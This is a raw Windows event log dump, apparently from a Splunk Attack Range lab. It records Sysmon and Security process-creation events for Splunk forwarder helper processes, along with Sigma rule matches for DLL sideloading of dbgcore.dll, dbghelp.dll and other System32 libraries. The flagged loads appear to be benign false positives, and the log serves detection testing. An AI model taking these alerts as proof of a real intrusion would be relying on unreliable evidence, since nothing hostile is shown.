AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=8BD7B08DA6BCA54DF9B595E4D9281BEB,SHA256=DE85F29A8BC7219F10A4AC88654C3901ABC329D7505B21CD95CBF780D1EBCCF4,IMPHASH=9839C7FD9649496B162F72128209528A{f73635a5-ff5c-6421-2700-000000004902}1740C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ScheduleNT AUTHORITY\SYSTEM + 4688201331200x8020000000000000362026Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x764C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011366Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:30:21.014{F02F376E-404D-6423-561B-00000000D602}1892C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362025Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa28C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011365Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:30:20.369{F02F376E-404C-6423-551B-00000000D602}2600C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362024Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x4b0C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011364Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:30:19.619{F02F376E-404B-6423-541B-00000000D602}1200C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362023Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xfa0C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011363Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:30:15.565{F02F376E-4047-6423-531B-00000000D602}4000C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}1952--- + 7300x8000000000000026905Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFCFB220000","EventID":"5","Execution_ProcessID":"2612","Execution_ThreadID":"2028","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","ImageBase":"0x7FFCFB220000","ImageCheckSum":"205048","ImageLoaded":"\\Windows\\System32\\dbgcore.dll","ImageName":"\\Windows\\System32\\dbgcore.dll","ImageSize":"0x29000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dbgcore.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"2612","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)","Rule_Description":"Detects DLL sideloading of \"dbgcore.dll\"","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLL mentioned in this rule","Rule_Id":"9ca2bf31-0570-44d8-a543-534c47c33ed7","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_dbgcore_dll.yml","Rule_References":"https://hijacklibs.net/","Rule_Sigtype":"public","Rule_Title":"DLL Sideloading Of DBGCORE.DLL","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:30:13.0343041Z","TimeDateStamp":"1611809694","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:30:15Z"} + + 7300x8000000000000026904Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFCFB250000","EventID":"5","Execution_ProcessID":"2612","Execution_ThreadID":"2028","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","ImageBase":"0x7FFCFB250000","ImageCheckSum":"1575379","ImageLoaded":"\\Windows\\System32\\dbghelp.dll","ImageName":"\\Windows\\System32\\dbghelp.dll","ImageSize":"0x192000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dbghelp.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"2612","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)","Rule_Description":"Detects DLL sideloading of \"dbghelp.dll\"","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLL mentioned in this rule","Rule_Id":"6414b5cd-b19d-447e-bb5e-9f03940b5784","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_dbghelp_dll.yml","Rule_References":"https://hijacklibs.net/","Rule_Sigtype":"public","Rule_Title":"DLL Sideloading Of DBGHELP.DLL","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:30:13.0335848Z","TimeDateStamp":"1468635229","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:30:15Z"} + + 7300x8000000000000026903Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFD054F0000","EventID":"5","Execution_ProcessID":"2612","Execution_ThreadID":"4056","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","ImageBase":"0x7FFD054F0000","ImageCheckSum":"661894","ImageLoaded":"\\Windows\\System32\\dnsapi.dll","ImageName":"\\Windows\\System32\\dnsapi.dll","ImageSize":"0xA2000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dnsapi.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"2612","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems)","Rule_Description":"Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLLs mentioned in this rule","Rule_Id":"4fc0deee-0057-4998-ab31-d24e46e0aba4","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_from_non_system_location.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_from_non_system_location.yml","Rule_References":"https://hijacklibs.net/, https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/, https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/, https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md","Rule_Sigtype":"public","Rule_Title":"Potential System DLL Sideloading From Non System Locations","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:30:12.8511682Z","TimeDateStamp":"1617867024","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:30:15Z"} + + 4688201331200x8020000000000000362022Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa34C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011362Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:30:14.805{F02F376E-4046-6423-521B-00000000D602}2612C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}1952--- + 154100x800000000000000013492Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:29:43.482{f73635a5-4027-6423-6a1c-000000004902}3684C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013491Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:29:42.728{f73635a5-4026-6423-691c-000000004902}2072C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013490Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:29:41.977{f73635a5-4025-6423-681c-000000004902}6260C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013489Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:29:41.223{f73635a5-4025-6423-671c-000000004902}6116C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013488Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:29:38.140{f73635a5-4022-6423-661c-000000004902}2136C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000011361Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:29:21.125{F02F376E-4011-6423-511B-00000000D602}1872C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362021Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x750C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011360Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:29:20.369{F02F376E-4010-6423-501B-00000000D602}936C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362020Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x3a8C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011359Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:29:19.607{F02F376E-400F-6423-4F1B-00000000D602}844C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362019Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x34cC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011358Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:29:15.530{F02F376E-400B-6423-4E1B-00000000D602}2696C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362018Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa88C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 7300x8000000000000026902Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFCFB220000","EventID":"5","Execution_ProcessID":"3192","Execution_ThreadID":"996","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","ImageBase":"0x7FFCFB220000","ImageCheckSum":"205048","ImageLoaded":"\\Windows\\System32\\dbgcore.dll","ImageName":"\\Windows\\System32\\dbgcore.dll","ImageSize":"0x29000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dbgcore.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"3192","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)","Rule_Description":"Detects DLL sideloading of \"dbgcore.dll\"","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLL mentioned in this rule","Rule_Id":"9ca2bf31-0570-44d8-a543-534c47c33ed7","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_dbgcore_dll.yml","Rule_References":"https://hijacklibs.net/","Rule_Sigtype":"public","Rule_Title":"DLL Sideloading Of DBGCORE.DLL","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:29:12.997117Z","TimeDateStamp":"1611809694","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:29:15Z"} + + 7300x8000000000000026901Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFCFB250000","EventID":"5","Execution_ProcessID":"3192","Execution_ThreadID":"996","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","ImageBase":"0x7FFCFB250000","ImageCheckSum":"1575379","ImageLoaded":"\\Windows\\System32\\dbghelp.dll","ImageName":"\\Windows\\System32\\dbghelp.dll","ImageSize":"0x192000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dbghelp.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"3192","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)","Rule_Description":"Detects DLL sideloading of \"dbghelp.dll\"","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLL mentioned in this rule","Rule_Id":"6414b5cd-b19d-447e-bb5e-9f03940b5784","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_dbghelp_dll.yml","Rule_References":"https://hijacklibs.net/","Rule_Sigtype":"public","Rule_Title":"DLL Sideloading Of DBGHELP.DLL","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:29:12.9966648Z","TimeDateStamp":"1468635229","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:29:15Z"} + + 7300x8000000000000026900Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FFCFD870000","EventID":"5","Execution_ProcessID":"3192","Execution_ThreadID":"3988","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","ImageBase":"0x7FFCFD870000","ImageCheckSum":"59227","ImageLoaded":"\\Windows\\System32\\fltLib.dll","ImageName":"\\Windows\\System32\\fltLib.dll","ImageSize":"0xA000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\fltLib.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"3192","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems)","Rule_Description":"Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLLs mentioned in this rule","Rule_Id":"4fc0deee-0057-4998-ab31-d24e46e0aba4","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2371-g4c3296ce7/rules/windows/image_load/image_load_side_load_from_non_system_location.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_from_non_system_location.yml","Rule_References":"https://hijacklibs.net/, https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/, https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/, https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md","Rule_Sigtype":"public","Rule_Title":"Potential System DLL Sideloading From Non System Locations","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-03-28T19:29:12.832727Z","TimeDateStamp":"1468636063","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-03-28T19:29:15Z"} + + 154100x800000000000000011357Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:29:14.786{F02F376E-400A-6423-4D1B-00000000D602}3192C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}1952--- + 4688201331200x8020000000000000362017Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xc78C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000013487Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:43.479{f73635a5-3feb-6423-651c-000000004902}7136C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013486Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:42.726{f73635a5-3fea-6423-641c-000000004902}1944C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013485Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:41.965{f73635a5-3fe9-6423-631c-000000004902}5864C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013484Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:28:41.219{f73635a5-3fe9-6423-621c-000000004902}7124C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT 